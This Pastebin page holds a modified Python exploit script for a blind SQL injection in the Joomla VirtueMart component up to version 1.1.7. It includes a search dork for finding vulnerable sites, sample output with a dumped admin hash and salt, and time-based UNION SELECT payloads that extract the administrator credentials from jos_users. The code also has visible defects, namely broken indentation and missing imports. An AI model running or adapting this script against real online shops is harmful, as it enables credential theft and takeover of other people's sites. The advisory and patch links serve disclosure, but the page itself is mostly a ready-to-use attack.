D4wFl1N

Modification Exploit com_virtuemart

Apr 21st, 2011
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.14 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
  4. # Found by: TecR0c & mr_me
  5. # Discovery date: 11/2/2011
  6. # Code by: mr_me
  7. # Vendor: http://virtuemart.net/
  8. # Download: http://virtuemart.net/downloads
  9. # Dork: inurl:"?option=com_virtuemart" > 46 million results
  10. # Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip
  11. # References:
  12. # - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
  13. # - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
  14. #
  15. # "The more you educate yourself the more you understand where things come from the more obvious things become
  16. # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free."
  17. # - zeitgeist addendum
  18. #
  19. # Description:
  20. # ============
  21. # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online
  22. # and drive your Business to new Heights. Despite being Open Source Software it powers large
  23. # Online Shops providing the Performance, Usability and Security you expect from professional Software.
  24. #
  25. # Explantation:
  26. # =============
  27. # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component.
  28. # Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
  29. # statements. This of course will send an enormous number of queries the target. During testing, 9145
  30. # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
  31. # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the
  32. # timings of benchmark and time to last byte (ttlb).
  33. #
  34. # Tested on Joomla v1.5.22 with virtuemart:
  35. # ==========
  36. # - v1.1.7
  37. # - v1.1.6
  38. # - v1.1.4
  39. #
  40. # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
  41. #
  42. #   | ------------------------------------------------------------------- |
  43. #   | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
  44. #   | by mr_me - net-ninja.net                                            |
  45. #   | modification by D4wFl1N                                             |
  46. #   | ------------------------------------------------------------------- |
  47. #
  48. # (+) PoC started on Sat Feb 12 17:26:15 2011
  49. # (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
  50. # (+) Testing proxy @ localhost:8080.. proxy is found to be working!
  51. # (+) Using time based SQL Injection.
  52. # (+) This will take time, go grab a coffee..
  53. #
  54. # (!) Getting database version: 5.1.41-3ubuntu12.9
  55. # (!) Getting database user: root@localhost
  56. # (!) Getting database name: joomla
  57. # (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
  58. # (+) PoC finished on Sat Feb 12 18:38:05 2011
  59. #
  60.  
  61. import sys, urllib, urllib2, re, time
  62. from optparse import OptionParser
  63.  
  64. # just printable ascii please
  65. lower_value = 32
  66. upper_value = 126
  67.  
  68. vuluri = "index.php?option=com_virtuemart&page%3d-1"
  69. basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}
  70.  
  71. usage = "./%prog [<options>] -t [target] -d [directory]"
  72. usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
  73.  
  74. parser = OptionParser(usage=usage)
  75. parser.add_option("-p", type="string", action="store", dest="proxy",
  76.                   help="HTTP Proxy <server:port>")
  77. parser.add_option("-t", type="string", action="store", dest="target",
  78.                   help="The Target server <server:port>")
  79. parser.add_option("-d", type="string", action="store", dest="directory",
  80.                   help="Directory path to the CMS")
  81.  
  82. (options, args) = parser.parse_args()
  83.  
  84. def banner():
  85.     print "\n\t| --------------------------------------------------------------------- |"
  86.     print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit   |"
  87.     print "\t| by mr_me - net-ninja.net                                              |"
  88.     print "\t| modification by D4wFl1N                                               |"
  89.     print "\t| --------------------------------------------------------------------- |\n"
  90.  
  91. if len(sys.argv) < 4:
  92.     banner()
  93.     parser.print_help()
  94.     sys.exit(1)
  95.  
  96. def timer():
  97.     now = time.localtime(time.time())
  98.     return time.asctime(now)
  99.  
  100. def testProxy():
  101.     check = 1
  102.     sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
  103.     sys.stdout.flush()
  104.     try:
  105.         req = urllib2.Request("http://www.google.com/")
  106.         req.set_proxy(options.proxy,"http")
  107.         check = urllib2.urlopen(req)
  108.     except:
  109.             check = 0
  110.             pass
  111.     if check != 0:
  112.             sys.stdout.write("proxy is found to be working!\n")
  113.             sys.stdout.flush()
  114.     else:
  115.             print "proxy failed, exiting.."
  116.             sys.exit(1)
  117.      
  118. def getServerResponse(exploit):
  119.     try:
  120.         uri = "http://"+options.target+options.directory+exploit
  121.         request = urllib2.Request(uri)
  122.         if options.proxy:
  123.             request.set_proxy(options.proxy, "http")
  124.          
  125.         start = time.time()
  126.         resp = urllib2.urlopen(request)
  127.         check = resp.read()
  128.         ttlb = time.time() - start
  129.     except urllib.error.HTTPError, error:
  130.             check = error.read()
  131.     except socket.error:
  132.         print "(-) Proxy connection failed"
  133.         sys.exit(1)
  134.     return check, ttlb
  135.  
  136. def getBasicDbInfo(basicInfo, key, limit):
  137.     for i in range(1,limit):
  138.         for j in range(lower_value,upper_value):
  139.             request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
  140.             % (basicInfo[key],str(i),str(j)))
  141.             try:
  142.                 resp, ttlb = getServerResponse(request)
  143.             except:
  144.                 print "\n(-) Exiting.."
  145.                 sys.exit(1)
  146.             if ttlb >= 3.5:
  147.                 sys.stdout.write("%s" % (chr(j)))
  148.                 sys.stdout.flush()
  149.                 break
  150.  
  151.  
  152. def getJosUser(selectStmt, limit):
  153.     for i in range(1,limit):
  154.         for j in range(lower_value,upper_value):
  155.             request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
  156.                         % (selectStmt,str(i),str(j)))
  157.             resp, ttlb = getServerResponse(request)
  158.         if ttlb >= 3.5:
  159.             sys.stdout.write("%s" % (chr(j)))
  160.             sys.stdout.flush()
  161.             break
  162.  
  163. def doBlindSqlInjection():
  164.     print "(+) Using time based SQL Injection."
  165.     print "(+) This will take time, go grab a coffee.."
  166.  
  167.     for key in basicInfo:
  168.         sys.stdout.write("\n(!) Getting database %s: " % (key))
  169.         sys.stdout.flush()
  170.          
  171.         for i in range(1,50):
  172.             request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
  173.                     % (basicInfo[key],str(i)))    
  174.             try:
  175.                 resp, ttlb = getServerResponse(request)
  176.             except:
  177.                 print "\n(-) Exiting.."
  178.                 sys.exit(1)
  179.             if ttlb >= 3.5:
  180.                 break
  181.     getBasicDbInfo(basicInfo, key, i+1)
  182.     sys.stdout.write("\n(!) Getting Joomla admin: ")
  183.     sys.stdout.flush()
  184.  
  185.     for i in range(1,100):
  186.         lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
  187.         request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
  188.         % (lengthOfAdminString,str(i)))
  189.         try:
  190.             resp, ttlb = getServerResponse(request)
  191.         except:
  192.             print "\n(-) Exiting.."
  193.             sys.exit(1)
  194.         if ttlb >= 3.5:
  195.                       break
  196.     getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
  197.     getJosUser(getJosStmt, i+1)
  198.  
  199. if __name__ == "__main__":
  200.     banner()
  201.     print "(+) PoC started on %s" % (timer())
  202.     print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
  203.     if options.proxy:
  204.         testProxy()
  205.     doBlindSqlInjection()  
  206.     print "\n(+) PoC finished on %s" % (timer())
Advertisement
Add Comment
Please, Sign In to add comment